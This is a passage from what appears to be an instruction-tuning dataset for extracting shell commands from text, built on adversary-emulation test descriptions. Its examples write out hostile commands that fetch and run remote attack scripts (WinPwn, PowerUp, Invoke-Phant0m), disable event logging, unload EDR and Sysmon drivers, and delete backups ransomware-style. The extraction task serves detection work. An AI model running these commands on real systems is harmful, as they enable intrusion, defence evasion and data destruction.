middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For testing purposes, you can generate significant CPU load that resembles cryptojacking activity via the command: yes > /dev/null. Remember to end the test with CTRL/CMD+C.; To modify the default file association for .hta files from cmd.exe to notepad, use the following command: assoc #{extension_to_change}=#{target_extension_handler}", "output": "{\"command_list\": [\"yes > /dev/null\\n\", \"assoc #{extension_to_change}=#{target_extension_handler}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To collect detailed system information, use the Morerecon function of WinPwn with the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nMorerecon -noninteractive -consoleoutput; For detecting Resource-Based Constrained Delegation vulnerabilities, use the following command sequence: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nRBCD-Check -consoleoutput -noninteractive", "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nMorerecon -noninteractive -consoleoutput\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nRBCD-Check -consoleoutput -noninteractive\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Adversaries often depend on users running malicious images, which can be initiated via this command: IEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\" -OutFile \"$env:TEMP\\\\qbot-test.iso\")\nMount-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\"\n$mountedpath = (Get-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\" | Get-Volume).DriveLetter\n$finalpath = $mountedpath + \":\\\\\"\ncd $finalpath\n.\\\\calc.exe.lnk; This will redirect traffic via the following commands, though it may interfere with current configurations:\nexport #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port}\ncurl #{test_url}\n", "output": "{\"command_list\": [\"IEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\\\" -OutFile \\\"$env:TEMP\\\\qbot-test.iso\\\")\\nMount-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\"\\n$mountedpath = (Get-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\" | Get-Volume).DriveLetter\\n$finalpath = $mountedpath + \\\":\\\\\\\"\\ncd $finalpath\\n.\\\\calc.exe.lnk\", \"export #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port}\\ncurl #{test_url}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For disabling HTTP logging similar to Threat Group 3390's methods, execute the following PowerShell command after ensuring IIS configurations are unlocked: set-WebConfigurationProperty -PSPath \"IIS:\\\\Sites\\\\#{website_name}\\\\\" -filter \"system.webServer/httpLogging\" -name dontLog -value $true; The Windows Event Log Service can be disabled by executing this command sequence with Invoke-Phant0m (warning: system restart required to re-enable logging):\nSet-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore\n$url = \"https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1\"\n$output = \"$env:TEMP\\\\Invoke-Phant0m.ps1\"\n$wc = New-Object System.Net.WebClient\n$wc.DownloadFile($url, $output)\ncd $env:TEMP\nImport-Module .\\\\Invoke-Phant0m.ps1\nInvoke-Phant0m\n", "output": "{\"command_list\": [\"set-WebConfigurationProperty -PSPath \\\"IIS:\\\\Sites\\\\#{website_name}\\\\\\\" -filter \\\"system.webServer/httpLogging\\\" -name dontLog -value $true\\n\", \"Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore\\n$url = \\\"https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1\\\"\\n$output = \\\"$env:TEMP\\\\Invoke-Phant0m.ps1\\\"\\n$wc = New-Object System.Net.WebClient\\n$wc.DownloadFile($url, $output)\\ncd $env:TEMP\\nImport-Module .\\\\Invoke-Phant0m.ps1\\nInvoke-Phant0m\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS, use the following commands: sudo launchctl unload #{falcond_plist}\nsudo launchctl unload #{userdaemon_plist}\n; To unload the Sysinternals Sysmon filter driver while keeping the Sysmon service running, use the following command: fltmc.exe unload #{sysmon_driver}", "output": "{\"command_list\": [\"sudo launchctl unload #{falcond_plist}\\nsudo launchctl unload #{userdaemon_plist}\\n\", \"fltmc.exe unload #{sysmon_driver}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For enabling TPM-based Bitlocker with both startup key and PIN authentication, run the registry command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f; You can allow Bitlocker to work without TPM by executing this command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v EnableNonTPM /t REG_DWORD /d 1 /f", "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE\\\" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE\\\" /v EnableNonTPM /t REG_DWORD /d 1 /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Similar to Ryuk ransomware, you can delete backup files with the following command, though expect multiple 'access is denied' messages as it attempts to purge files system-wide: del /s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk; To remove the Windows systemstatebackup, a technique commonly used by ransomware, execute this command: wbadmin delete systemstatebackup -keepVersions:0. Success is likely only on server platforms where Windows Backup is active.", "output": "{\"command_list\": [\"del /s /f /q c:\\\\*.VHD c:\\\\*.bac c:\\\\*.bak c:\\\\*.wbcat c:\\\\*.bkf c:\\\\Backup*.* c:\\\\backup*.* c:\\\\*.set c:\\\\*.win c:\\\\*.dsk\\n\", \"wbadmin delete systemstatebackup -keepVersions:0\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only 